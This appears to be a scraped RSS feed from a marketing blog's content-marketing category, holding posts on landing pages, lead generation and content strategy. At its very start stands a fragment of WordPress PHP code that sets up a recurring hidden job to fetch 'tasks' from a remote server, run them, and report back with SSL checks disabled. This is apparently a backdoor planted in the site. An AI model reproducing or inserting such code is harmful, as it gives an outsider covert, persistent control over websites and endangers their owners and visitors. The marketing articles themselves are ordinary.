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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Content Marketing Archives - Social Media Dudes https://socialmediadudes.com/category/content/content-marketing/ Sun, 17 Jan 2021 13:52:42 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Content Marketing Archives - Social Media Dudes https://socialmediadudes.com/category/content/content-marketing/ 32 32 How to Showcase Your Products and Services on Landing Pages https://socialmediadudes.com/how-to-showcase-your-products-and-services-on-landing-pages/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-showcase-your-products-and-services-on-landing-pages Sat, 23 Jan 2021 06:48:00 +0000 https://socialmediadudes.com/?p=1053 The post How to Showcase Your Products and Services on Landing Pages appeared first on Social Media Dudes.

]]> Many marketers set up email, advertising or social media campaigns and direct their prospects and customers to the landing pages of their website. However, if you don’t properly showcase your products and services on your landing page, those pages don’t convert.  And that means you might as well throw money right down the drain. It is simply a waste of hard-earned marketing dollars.

The purpose of a website page is to display general information about your business and your products and services. Each page has several links encouraging the visitor to explore. This is why landing pages are so significant. There are mainly 2 types: lead generation pages allow you to collect email addresses in order to launch a nurturing program and informative pages, on the other hand, aim to provide enough information about a product or service to encourage the purchase.

Landing pages can also be used for event or webinar registrations, newsletter subscriptions, content downloads or any other marketing initiative.

A landing page is created for one goal, one post, and one potential click. Remove all distractions so your visitors have a clear view of the action to be taken. Create a landing page for each campaign with a specific objective.

A successful page takes more than putting together some pretty pictures, some text, and a call to action. Think about your goal, your strategy, add a little creativity and make sure to monitor your performance indicators.

What is a landing page for and what is it for?

A landing page is mainly used in the context of an advertising campaign. It is, therefore, a page specifically created to welcome your visitor and quickly strengthen the offer you are advertising.

If the visitor is on this page, your ad has piqued their interest. It, therefore, remains to complete the argument and finish convincing him.

A landing page is essential to the success of your campaign

The major goal of a landing page is adaptation. All the elements of this page must therefore be designed in order to get the Internet user to take a defined action: buy a product or a service, subscribe to a newsletter, fill out a form, watch a video, etc… It is therefore essential to clearly define your objective before starting the design.

Even today, I too often hear goals based on the number of visitors. A landing page will be a success if your target engages. Even if you manage to get your page to 10,000 people, if you convert 2, it will be a failure.

Why?

For a page to be displayed in the results of a search in search engines like Google, the text that composes it must be considered relevant to the research.
Basically, if you want your site to show up when someone searches for the term “Home Spirit sofa”, you need to have a page that talks about Home Spirit sofas. It’s the minimum.

The basics: characteristics of a sales page that converts

In theory, creating a sales page should be pretty straightforward. The goal? Provide enough information to the customer to persuade them of the effectiveness of your product and allow them to justify their purchasing decision. Rosara Joseph, a content strategy expert at Venture Web, elaborates:

“The ultimate goal of your sales pages should be to give visitors confidence and provide all the information required to make an informed buying decision and make the process as smooth as possible.”

At this point, you probably need some practical information to get a better idea of ​​things.

Here are 4 tips for creating landing pages that convert.

1.   Create a good first impression!

Did you know that it only takes about 50 milliseconds (0.05 seconds) for a human to form an opinion on your website? This means that your overall design, structure, colors, font, spacing and amount of text should be developed with short intervals of visitor attention in mind.

When it comes to landing page design, clean and elegant are goals to achieve. Don’t fill every empty space on your page with text and graphics. Keep it simple and clutter-free. Remember, you want visitors to remember ONE message and take ONE action.

2.   Use a simple and interesting message!

Landing pages are not the right place to display all your different promotions or try to quote all the possible and imaginable features and benefits of a product.

Match your message – that is, your headlines, writings and calls to action – with the precise intent of the visitor. For example, if a visitor clicked on an ad to get an eBook, promote the value of that book.

What will the visitor get from his reading? Compelling text is key, no matter how spectacular your design is. Pique the reader’s curiosity with an inspiring or intriguing headline. The body of the text must be relevant, clear and oriented towards solutions. Avoid using “we” and focus it all on “you”.

3.   Limit content above the waterline!

Although some experts claim that people hate scrolling a page, this is not necessarily true. Evidence to the contrary exists everywhere. People have no problem scrolling if the page is designed for it and the content is eye-catching.

That being said, above the waterline is still the place readers will go first. Make sure to include a headline, subhead, call to action and a strong image to engage visitors. You can always add benefits and recommendations later in your page.

4.   Use calls to action!

If you add multiple links and buttons, visitors will inevitably be attracted by the call-to-action. Ideally, use two to three calls to action on your page. However, give readers only one option: subscribe, subscribe, download, buy, etc. Make sure the button text is clear. Now is not the time to show that you know the more complex words in the dictionary.

Indeed, make sure that what will happen after the click is clear, both from the point of view of the design and the message. For example, if the call to action indicates registering for a webinar, the next page and/or email should detail the next steps and include the date and time as well as the link to log in. Make the process as easy as possible so that visitors are rewarded for their action with an enjoyable, hassle-free experience.

Your landing pages have a big impact on the success of your overall marketing campaigns. After all, you invest a lot of resources in attracting leads and upselling your existing customers. Encouraging these initiatives with attractive landing pages can only be beneficial.

 

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]]> How to Generate High Quality Leads For Your Website https://socialmediadudes.com/generate-high-quality-leads-for-your-website/?utm_source=rss&utm_medium=rss&utm_campaign=generate-high-quality-leads-for-your-website Sun, 15 Nov 2020 19:00:00 +0000 https://socialmediadudes.com/?p=1030 The post How to Generate High Quality Leads For Your Website appeared first on Social Media Dudes.

]]> You have a brand-new website for your business that you want to let the world know about you.  You followed that up by creating your profiles on social networks. All you need to do now is get in touch with people interested to potentially buy your merchandise and/or services. The purpose of a lead generation strategy is everything. You won’t have clients if you don’t have leads.  Leads are the lifeblood of every business. Still the question you ask yourself is “How do I generate high quality leads from my website?”

Let’s see what lead generation is, its components and how you go about setting up an effective lead generation strategy.

What is lead generation?

Lead generation is an integral part of an inbound marketing strategy, the objective of which is to naturally attract a user to your site by offering them targeted and relevant offers.

First, let’s talk about the basics of leads and lead generation. A lead is a source from which you have effectively received information (could be email, phone or other data) and who has a particular interest in your business. The generation of leads corresponds to all the actions and marketing techniques put in place to obtain information from potential prospects.

These marketing actions and techniques will create a process that will attract the lead to your conversion funnel. For this, it will be necessary to rely on various web marketing techniques such as the production of premium content and resources, linking strategy, emailing, social networks, as well as your blog.

It should also be noted that there is a level of “test & learn” involved in developing an accurate and efficient lead generation process. Indeed, you can establish a conversion funnel by testing and retesting, which will allow you to generate leads systematically. The goal will then be to transform leads into customers.

How to generate leads?

To generate leads, you have to rely on various web-marketing techniques. The goal is to make you visible to prospects, offer quality content that meets their needs, demonstrates you are an expert in your niche and that resonate with your approach.

Begin by setting up a conversion path (often referred to as a funnel). The foundation can be your content but might start by providing what is called a “lead magnet”.  A lead magnet is something of value that you are willing to provide for free in exchange for the prospect providing information (such as email address, phone number, etc)

The goal is to bring the lead into your funnel until their information is captured. If they provide their data to you, it is because the prospect is interested in what you sell/market.  Lead magnets typically don’t “qualify” the prospect as a true buyer, but more of an “interested” nature.  It is up to you to further qualify them by leading them through your funnel.  This is done with subsequent emails and offerings that will help you determine exactly where their interest is and whether you have a “hot” lead or not.

Lead generation: the techniques and tools

  • Generate leads with content: it is vital to have feature content to attract your target. Without content, you can’t do anything. This is why you must define a content strategy adapted to your target: computer graphics, video, white paper, e-book, blog articles… an editorial line and set up a publication calendar.
  • SEO: making content is better, but it’s even best if it’s optimized. It must be referenced for the material to be available on the internet. SEO optimization is key. Your keywords, backlinks, meta title and description have to be worked on.
  • Social networks: It is important to create a community on social networks in order to get more traffic. This will help you to distribute and enhance your reputation with your content.
  • Online advertising: it’s an effective technique when you need to get traffic quickly. Using paid search or advertising on social networks will allow you to distribute your content.
  • Emailing: When you know your target and your contact base is well segmented, the use of email is powerful for producing leads. The advantage is to be able to send personalized content.

By relying on these main techniques, not only do you generate traffic to your site, but you also gain visibility. And with the right content at every stage of your conversion funnel, you make sure you’re generating leads.

The main measures for a good strategy of lead generation

For a good lead generation approach, what are the key steps and essential points to consider? Here are the primary ones.

Step 1 – Review your target demographic

A good lead generation approach starts by identifying the target demographic/persona you are trying to attract. If you don’t know your target, you run the risk of targeting the wrong people, so they won’t qualify. To get good leads, you have to work on your buyers’ personas. It is by knowing their purchasing behavior and criteria, their purchasing process, their objections and objectives, etc. that you can provide appropriate content.

Stage 2-Identifying the goals of your conversion and lead generation campaign

You need to be specific on the objectives for conversion. Not all leads are designed to end up as a sale.  You may want to attract people to a webinar, brand awareness, introduce a new product or service, or to be seen as a subject matter expert.  You will need to determine when a visitor has turned into a lead. To be called a lead, what action must the visitor take on your site?

Your campaign priorities for lead generation should also be established. How many visitors for conversion do you need? What is the number of new customers that are expected?

To define your goals, you can rely on SMART goals (specific, measurable, acceptable, realistic and time-bound).

Step 3 – Have a content strategy

To generate leads, a content strategy is essential! As we saw above, content helps attract visitors to your site and respond to their issues. Certain “premium” content such as white papers for example helps to ensure your notoriety and expertise in your field.

Do not forget the distribution of your content via social networks, emailing, and advertising to gain visibility and make yourself known.

Step 4 – Work in collaboration with your sales teams

Leads come more naturally when there is an alignment between content and sales campaign efforts.  Your results will not be as good if all of your content is on a different area of your business than the type of lead you desire.

Some people grade leads on a more granular level than cold or hot.  This applies to the allocation of points during the implementation of lead scoring for example. This is best done by creating that funnel that naturally grades people to their level of interest and buying likelihood.

Step 5 – Performance Analysis

Finally, do not neglect the performance analysis of your lead generation campaign. If your goals aren’t living up to your expectations and aren’t being met, don’t worry. To generate leads effectively, you have to test and retest your conversion tunnel, set up the one that will generate more leads and refine your buyers’ personas according to the latest data collected.

To finalize the conversion, drive visitors to a dedicated Landing (“squeeze”) page

A clear landing page is a place in its own right, where the conversion of a lead takes place. The landing page is a page on your site where you present your lead magnet in exchange for their information. Your landing page should be focused on one thing only, getting the visitor to provide their info.  So, you want to create a page that creates a positive experience for your reader by offering high added-value information such as a white paper, infographic or an expert report.

It has an essential role, which must be looked after.

A single purpose page

The first rule of an optimal landing page is its centralization/concentration on a single subject and a single action offered to your audience. In order not to scatter your future lead, it only establishes one clearly presented proposal that is linked to a coherent CTA (Call To Action).

Through its writing, the landing page must allow readers not to be distracted by facts other than that of discovering the interest of the offer proposed. Each of your campaigns brings traffic that the landing page will convert into Lead. It is advisable to create a landing page for each operation.

Landing pages are living and are subject to constant changes in order to optimize as high a conversion rate as possible. The more your landing page will be optimized, clear and relevant, the more likely you will be to generate qualified leads.

A page with strategic characteristics

A successful landing page is one that keeps the message consistent and that the offer delivers on its’ promise. Like the CTA guiding on the landing page, it must have several characteristics to maximize lead generation:

  • The main title, a crucial element that clearly sets out the subject and the general benefit
  • A subtitle, in reinforcement, which offers more information on the content offered
  • A visual of the content, to have a clear idea of ​​the gain
  • A concise description of the benefits
  • A form comprising only the fields that are necessary for you to qualify your prospects

After clicking on your CTA for more information on a topic they’re interested in, they will be taken to a landing page. It is designed to tell them about premium content, with clarity and simplicity, and to invite them to enter their contact details if they wish to download the content.

55% more leads are what companies observe when they go from 10 to 15 landing pages. (HubSpot)

Quite simply because companies that generate 60% of their leads online will grow 4 times faster than those that do not have a lead generation strategy. (HingeMarketing)

The action of generating Leads represents the desire to attract and convert anonymous visitors into qualified prospects. It’s a complex and strategic process that every good marketer must put in place.

Your Takeaway…

Leads are the lifeblood of any business.  They are the foundation of your business’ success and growth.  Creating compelling content that converts visitors into leads sounds simple, but in fact is a challenge.  If creating content that is going to attract the right visitors to your site, check out our content generation service.

Creating content that is valuable to visitors is only part of the equation of generating leads.  Consider it the supporting link.  You will need a lead magnet that has so much value that visitors will want to provide you their information in order to have it.  You will present your lead magnet offer on a landing page. Landing pages have one purpose.  They tell the visitor you understand their issues and that your lead magnet provides a solution.  It is of singular purpose only to get them to provide their data to get the value you are providing.

What are you doing to get your lead generation in swing for your business?  Leave a comment below.

 

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]]> How to Develop Efficient Content Marketing for Startups https://socialmediadudes.com/how-to-develop-efficient-content-marketing-for-startups/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-develop-efficient-content-marketing-for-startups Sat, 24 Oct 2020 14:03:41 +0000 https://socialmediadudes.com/?p=1018 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″][et_pb_row _builder_version=”4.4.7″][et_pb_column type=”4_4″ _builder_version=”4.4.7″][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″] Businesses must grow to survive, and fast-growing businesses have several strategies for […]

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Businesses must grow to survive, and fast-growing businesses have several strategies for doing so. We can describe the strategy as the creation of a unique and valuable proposition for any business to startup, grow and survive.

Any side hustle or business startup is faced with a major challenge: deploying an effective strategy in a market that is still new and poorly defined, or even nonexistent, and finding the first customers who will buy its product or service. The goal is to generate growth as quickly as possible by hitting hard.

No matter how experienced you are in content marketing, it’s always a good idea to review your strategy and, at the same time, your target audience. Indeed, the market has never been as competitive as it is today. So how do you differentiate yourself? The first step in getting yourself a step ahead of your competition is to develop an effective content marketing strategy.

Why develop a content marketing strategy?

Content marketing allows companies to create reliable and cost-effective sources of traffic and new leads. Imagine writing just one blog post that generates regular organic traffic: you can, thanks to a link embedded in an e-book or a free tool, continue to generate leads over time.

This reliable source of traffic and leads allows you to test other marketing strategies to generate revenue, such as sponsored content, social media advertising, and broadcast content. Also, this content allows you not only to attract leads but also to inform your potential leads and increase the visibility of your brand.

Now let’s break down each step of how to create a content marketing plan.

1 – Define your goal

What is the goal of your content marketing plan? Why do you want to produce content and create such a strategy?

Before establishing your strategy, determine your objectives, this will make it easier to define what is best suited to it.

2 – Perform an analysis of your personas

To set up an effective plan, you need to clearly define the target audience, also known as the buyer persona.

This step is essential, especially for marketers who are just starting or those who do not yet have a marketing strategy. Knowing your target audience will allow you to produce more relevant content that your leads will want to read and that will encourage them to take a given action.

Even if you already have experience as a marketer, your targets may not be the same anymore. Whether you want to target a new group or expand your current audience or keep the same target audience, re-evaluating your personas each year through market research is essential.

3 – Perform a content audit

Most businesses start with blogging, but if you want to take it a step further, study the content you want to produce. For example, if you’ve previously posted blog posts every week, you might want to create an eBook that bundles all of your posts together to provide a comprehensive guide in a different format. This article discusses several types of content that you can offer.

If you already have a strategy, assess your marketing efforts and the results achieved over the past year. Then figure out what you can do differently for the coming year and set new goals. It is advisable to adopt the goals of your team to those of the company in general.

4 – Choose a content management system

It is important to have a system that allows you to manage your content. Some of the essentials of content management are creating, publishing, and analyzing content.

If you use WordPress’s CMS, you can plan, produce, publish and measure your results from one platform.

5 – Define what types of content to create

There are many options for content. Here are some of the most popular formats with marketers, along with some tools and templates to help you out.

Blog posts

The content that you are browsing right now is a blog post. This format, hosted on a website, must be published regularly to attract new visitors. These articles should provide valuable content to your audience, to encourage them to share them on social networks and other websites.

It is recommended that you write 1,000-2,000 word articles, but feel free to assess for yourself whether your audience prefers longer or shorter content.

E-books

E-books are lead generation tools available for download when potential customers have submitted their contact details via a form. They are generally longer, more in-depth, and published less frequently than blog posts, written to attract visitors to a website.

E-books are the next step in the inbound marketing process: after reading a blog post, visitors sometimes want to know more and fill in their contact details to access an e-book that will provide them with important information for their business. . The company offering the e-book thus has a new lead to contact.

Infographics

Infographics are a more compelling way to organize and visualize data than just words. This format is ideal for sharing a large amount of data clearly and simply.

Videos

Videos are a very attractive medium intended to be shared on social networks and websites.

They require a larger investment of time and resources than written content, but they have gained in value since the development of visual marketing. Indeed, compared to other types of content, they are 40 times more likely to be shared on social networks, according to a study by HubSpot.

Podcasts

A podcast allows listeners to experience your brand differently. Their number is increasing: in 2016, around 57 million people listened to podcasts every month. If you want to chat with specific people or lead conversations, feel free to use this medium.

External content

If you’ve been posting content on your site regularly for a while, it might be time to consider posting your content to other sites. This could involve:

  • The publication of website content on social networks, such as LinkedIn.
  • Reuse content in new formats and publish them on your blog or social networks.
  • Creating original content specifically for external sites, such as Medium.

When you have found new ideas, you will have at your disposal various types of content to diversify your website.

6 – Publish and manage your content

Your marketing plan should plan not only for the types of content you will create but also how you will organize it. An editorial calendar will allow you to offer a balanced and diverse list of content on your website. Then create a social media content calendar to organize and manage your content on other sites.

Many of the ideas you think are as relevant today as they will be in a few months. That being said, it is recommended that you cover more current topics as well. Even if these don’t make up the bulk of your editorial calendar, they will allow you to generate spikes in traffic.

Most businesses incorporate holidays such as Christmas or New Year into their marketing efforts. You do not have to limit yourself to these important dates, if some less popular events interest your audience, feel free to post content on your blog or social media about them.

Yet every business needs a solid content and marketing plan to ensure it grows over time. However, it can be tricky for a startup to know where to start to create an effective content marketing strategy. Effective content allows startups to communicate economically, without having to incur costs in advertising agencies as expensive as they are renowned. A holistic content marketing strategy is going to be necessary to generate leads and conversions, that is to say, transform simple contacts into

Your takeaway…

Whether or not you are just starting out or if you have been in business for a while, generating business is paramount to survival.  And while ads are proven to work, they are a “one and done” experience.  Content marketing can continue to generate opportunities long after they have been created.

Learning to put together an effective content management and marketing strategy requires attention.  And if you find yourself knowing that you need one and either don’t have the time or inclination, then consider someone like the Social Media Dudes creating the content for you.

Hiring someone else to write your content can be a great time saver, assuming you hire the right person or company to write your content for you (shameless plug for the services we offer).  In order to do a great job, they need to understand your business and offerings. Fees can either be flat rate or by the word.

Still not sure?  Read Why Should You Be Buying Blog Posts? and decide for yourself.

 What have you found to be the most effective content marketing strategy that has worked for you?  Leave a comment and tell us your thoughts.

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]]> What is Content marketing and How Can it Help My Business? https://socialmediadudes.com/what-is-content-marketing-and-how-can-it-help-my-business/?utm_source=rss&utm_medium=rss&utm_campaign=what-is-content-marketing-and-how-can-it-help-my-business Mon, 25 May 2020 14:55:34 +0000 https://socialmediadudes.com/?p=813 The post What is Content marketing and How Can it Help My Business? appeared first on Social Media Dudes.

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As a business owner, you must be able to tell a good story about the goods/services that you provide. The marketing manager in you would likes to see the growth coming in organically from Google traffic instead of paying by the click. So, you understand that either your or someone on your teams needs to be a copywriter who understands your business and market and accurately portrays your story. But in practice? Writting blog posts that are SEO optimized and targetined for your ideal customer is something you neither have the time or the inclincation to do.  Thus your site creates the deadly sin of becoming stale and that company blog remains anxiously silent.

The result is that creating a  successful content strategy in your business niche is going to you require you to let go of old standards. Think from your potential customer wants to see and problems that your products/goods will solve and not so much as to what can you get out the door and onto your site!  The customer wants an answer to their question. You can give that with relevant, helpful, and original content. Providing great content that solves customers issues can give yourself the necessary leads that lead to business.

Don’t be blind to the giant marketing of Apple and Coca-Cola. Your organization is also relevant and exciting in its own way. Literally, anyone can create content that helps people and is engaging.

What is content marketing?

So, you are wondering what content marketing is in concrete terms? To answer this query, here is a definition provided by the Content Marketing Institute, a well-known organization in research, training, education, and content marketing.

“Content marketing is a strategic marketing approach focused on creating and distributing valuable, relevant, and consistent content to attract and retain a clearly-defined audience – and, ultimately, to drive profitable customer action.”

Basically, for those who are a little less comfortable with the definitions in English, content marketing represents a strategic marketing approach that emphasizes the creation and distribution of relevant content, quality and offering real value to a targeted audience, intending to attract and retain them so that they ultimately become an active and profitable client or consumer for the company.

In order to bounce back on this definition, many wonder what is the difference between content marketing and inbound marketing.  The answer is yes, although these two phrases are still discreetly linked.

Content marketing represents all the tactics linked directly or indirectly to the content. In contrast, inbound marketing encompasses the marketing and sales process from the first contact with the visitor until he becomes a customer. That being said, we can easily say that inbound cannot operate without content marketing.

Conversely, content marketing can work entirely without resorting to inbound. Indeed, a brand can decide to create content to increase its’ authority or even improve its brand image without having the objective of generating visitors, leads, or even customers.

What types of content marketing are there?

Content marketing is a broad concept and generally includes all forms of content that you share with a focus on the needs of your customers. Think, for example, of blog articles, videos, mailings, social media updates … Below we discuss some important types:

Content marketing through your company blog

A company blog is a “news section” on your website where you regularly share relevant articles with potential customers: answers to their questions, solutions to their problems, etc. Each blog article covers a different topic, question, solution, or problem related to your target audience and your business. Every time you share a new article on your blog, your target audience is more likely to find you through Google.

This makes a company blog a very efficient way to attract more and especially the right customers at the right time via Google. And more website traffic naturally increases the chance of more leads and customers.

But there is more because if you regularly share relevant information, you will position yourself as an expert in your field, you will appear more credible, and you will create more confidence.

Video content marketing

Video marking is an ideal way to reach the newest generation of customers. Important, because by 2020, “Generation Z” (born between 1995 and 2005) will be one of the largest consumer groups. Were you aware that YouTube is the second largest search engine next to Google?

Many prospects prefer video content to any other type of content from a brand, and that can be seen from the figures because, in 2019, 80% of all internet traffic already consists of videos.

The big advantage of videos? They allow you to explain simple, but also complex matters. Moving images also linger longer than images or text. Video marketing is, therefore, the ideal way to become (and remain) top-of-mind with your target group.

Email content marketing

You can conveniently use email marketing to forward information with a specific purpose to a specific target group. This way, you can bind potential customers to your company more easily via email, you attract more traffic to your website, and you book more sales.

The basics of email marketing start with a good mailing list, a list of email addresses of people who are really interested in your content. Growing an email list can take time.  We never recommend  purchasing mailing lists as they have little or no effect and can damage your brand!

Emails are personal, relevant, and also readable everywhere. Your potential customers don’t have to do more than open their mailboxes to see relevant information. In addition, emails have a direct reach, are cost-efficient and easy to measure.

Social media content marketing

Social media are online networks that you can use as a company to share relevant information and updates, to dialogue with your customers, and to provide good customer service. You can reach a huge target audience with very few resources.  Networks such as FaceBook, LinkedIn, Instagram and Twitter can bring you the right customers to your site.

Social media increases the visibility and brand awareness of your company and will, therefore, lead many visitors to your website. Thanks to the interaction, you will also learn how your target group and customers think about you, which is an enormous added value for your company.

Every social network has its own advantages and disadvantages. In this overview, you can read which social media are suitable for your company.

What is content marketing for?

Now that you have a better idea of ​​what content marketing is in terms of definition, what is it for? What are the objectives behind this marketing approach?

There are a few like:

  • Increase brand awareness or strengthen its image;
  • Increase subscribers to an email list;
  • Increase traffic to a website;
  • Improve the referencing of a website on search engines;
  • Generate leads;
  • Convert consumers into brand ambassadors;
  • Increase the average shopping basket or the company’s sales;
  • Promote recruitment;
  • Position itself as a benchmark in its industry.

Indeed, there may be other objectives behind this approach; the important thing is to know yours well in order to keep it in mind when you develop your content and distribute it. If you do not understand why you are marketing content, it is high time to sit down and ask yourself this question: how will this project support the business objectives of my organization? If you realize that the content created will not meet these objectives, perhaps it is not a priority for your business.

What are the benefits of content marketing?

More findability, more traffic, and more customers

If you share the right content for the right target groups on your website and blog, you attract more and especially the right visitors to your site via search engines such as Google and via social media. More findability, visibility, and brand awareness leads to more business!

You also succeed in building a relationship of trust with your visitors via content marketing and positioning yourself as an expert? Then you will also see your conversions increase!

More credibility and confidence

When you have really mastered content marketing, your visitors will see you as an advisor and expert in your field over time. This way, they automatically come to you when they have a new question or a new problem related to your business.

That makes content marketing (and inbound marketing) customer-friendly and useful because when your target group is convinced of your expertise, you can sell to them much more comfortably.

Everything is measurable

A big advantage of online content marketing? Almost everything is measurable: views, clicks, conversions. And measure? That’s to know!

When you measure your results, you know whether you are achieving your content marketing goals and whether your efforts are paying off. This way, you can make informed decisions and keep optimizing!

Cost-efficient and sustainable

A well-designed and optimized blog with strong content? It takes a while to develop such a “content hub,” but if you succeed, you will attract relevant search traffic and customers months and years after publishing your blog posts.

This is in contrast to ads. You get fast visibility through ads, but when the budget is exhausted, your ads and your visibility disappear. Blog posts, on the other hand, remain online on your website and in the search results.

You can also automate a large part of your marketing campaigns, for example, via email automation. That makes content marketing a sustainable (Think long term!) and cost-efficient form of marketing.

So why should you do it?

The answer to this question is simple. You should do content marketing in order to have a source of traffic and leads that is much more profitable, predictable, and scalable than other traditional or so-called outbound marketing tactics.

Furthermore, if you integrate your content marketing approach into an Inbound Marketing methodology, you will be more profitable. By doing so, you make sure to integrate visitors or leads generated in a conversion funnel in order to feed them (lead nurturing) until they become customers or consumers.

Content Marketing help businesses

People’s modern buying behavior is very different from what it was a couple of decades ago, and since the turn of the millennium, marketing tactics have also changed drastically. More and more answers are being searched for everyday needs on the internet, and those who have used Google AdWords in the slightest will know that products and services are actively google thousands of times a month, so the goal is to bring the company to the front of the line. So optimized content helps bring your business to the forefront when a customer needs your product or service.

Some companies may benefit more than others, depending on the industry. But sales companies and organizations in particular, as well as B2B marketing, really need good content to keep up with the competition. 

The challenge is to insure that all the content produced by the company (websites, blogs, advertisements, newsletters, social media, etc.) contributes to a particular objective.  

The key to success is to identify the current situation and be able to define goals and communicate them to co-factors. Content marketing helps in.

  • Creates brand awareness and brand identity
  • Get more leads to the business.
  • Get better leads
  • Streamline the sales process through content marketing
  • Streamline the marketing process
  • Pilot a new product or service using content marketing
  • Creates collaboration between sales and marketing
  • Create a winning content strategy or so-called killer-strategy
  • Creates consistently good content for your channels
  • Creates concrete metrics for marketing
  • Drives traffic to an eCommerce or website

Successful content marketing, therefore, promotes sales, increases the visibility of the company, and has a holistic impact on the customer experience, of course, in a positive way. Customers, in particular, will certainly appreciate a company that convinces with its expertise. You should take advantage of creativity. Here are some other ways content marketing helps businesses.

Increasing reliability online

Content marketing increases online credibility by building expertise and authority. The reliability of the company creates longer-term and more loyal customer relationships.

Creating value without selling

When you help customers understand and solve their problems, it lowers the threshold to become a customer later. Commitment to solution-centric content adds value.

The company is able to teach its customers about its own services and products through targeted communication and how they can solve customers ’various pain points. By controlling communication, a company is able to tell the right things to customers and thus speed up the customer’s progress in the purchasing pipeline.

The increase in reliability also makes it possible to find new customers with growing references.

Content Production and Search Engine Optimization

Good content production has taken Search Engine Optimization into account so that the content produced ranks as high as possible in search engines. Good content that cannot be found online will not produce for the company. Search engine optimized content production increases organic traffic to a company’s website in the long run. For example, problem-solving blog posts may bring in most of the online traffic in the long run after they are published.

Create content that is compelling to help your customers stay longer on the website, leading to better search engine rankings.

An extensive content library on the website allows you to go through various topics, which gives the company visibility in new keywords and increases customer comfort on the website.

By utilizing new keywords, the company expands its own target group.

Every blog, article, and posting on a company’s website has one more page that google can crawl into its search engine. Well, search engine optimized content ranks higher there.

The price of content production

The price of content production is based on the price of the work, i.e., the time spent on content production, its design, and its publication. By outsourcing a content production strategy, a company achieves a clearer picture of how to operate and what kind of content to produce. Content production supports other marketing efforts by creating content that meets customer expectations and thus increases conversions.

Content production enables sales automation as customers approach the company directly. Creating content takes time and investment, but its benefits to a business are many times greater than the time spent on it.

Measuring the results of content production

Web content can be analyzed by examining the data that the contents generate through network analytics.

The right goals for content revenue and results must first be set: what do you want from the content before measuring the success of the goals?

The goals can be, among others:

  • Sales
  • leads
  • Brand growth
  • Promoting services and products

Web analytics, its metrics, and tools can be used to measure the content itself. It is then possible to measure how customers receive the content.

Aspects of content production

The areas and types of content have expanded a lot over the years. Today, a content production strategy is able to utilize different content with different effects.

  • Articles
  • Releases
  • Landing page or homepage content
  • Blogs
  • Videos and pictures
  • Online Ads
  • Frequently Asked Questions
  • Product pages

Content marketing: where to start?

Target group: Determine your target group, make a descriptive profile of your buyer (a buyer persona) so that you know where your target group is and what information it is looking for.

Needs check: Think further about what interests your target group, what information your target group needs. Use this as a handle when creating the correct content.

Scan the possibilities: You can package information in many ways, such as an article, a blog post on an industry blog, a video, a white paper, a customer testimonial. There are so many options for packaging good content. The starting point is, of course, that the content is not necessarily about your product or service. It must match what your buyer is looking for. And your message must be consistent, only then will you be credible.

Spread your message: Your target group also has preferences about how they want to receive information. Make sure you get your information, whether this is an article or a video to your target group in the desired way. And only now, do you really have to worry about social media. The internet is, of course, a great channel to spread your information. But don’t forget that there are also very good offline ways to combine your actions with

Keep following, measuring and listening: The power of sharing information online and participating in the discussion is able to measure and evaluate. Measure because you can analyze visitor behavior, evaluate based on the figures, and because you can see responses from readers. By listening and reading what others say, you can also get input and feedback for your own thoughts.

Conclusion

Content is still king. Research shows that content marketing is the most effective form of marketing. It is important for organizations to formulate a strategy that matches the business objectives. Content creation is never the goal but the means. But content marketing remains a challenge for many organizations simply because they are not in an industry that appeals to the imagination. With the greatest effort, a business blog is irregularly written, which is read by fewer people than work in your department. It feels like a waste of time. And then you hear casually that content will only yield something if you publish consistently and consistently over a longer period of time. But if you have no idea how to create interesting content, that is a tough task.

Even if, according to others, you are in a boring industry or they find your product boring, do not hesitate. You realize you have something to show the world. Moreover, it pays extra for you to create and publish content. You have a big advantage over other companies: your competitors are also boring. Enough opportunities to distinguish yourself. On to unique content!

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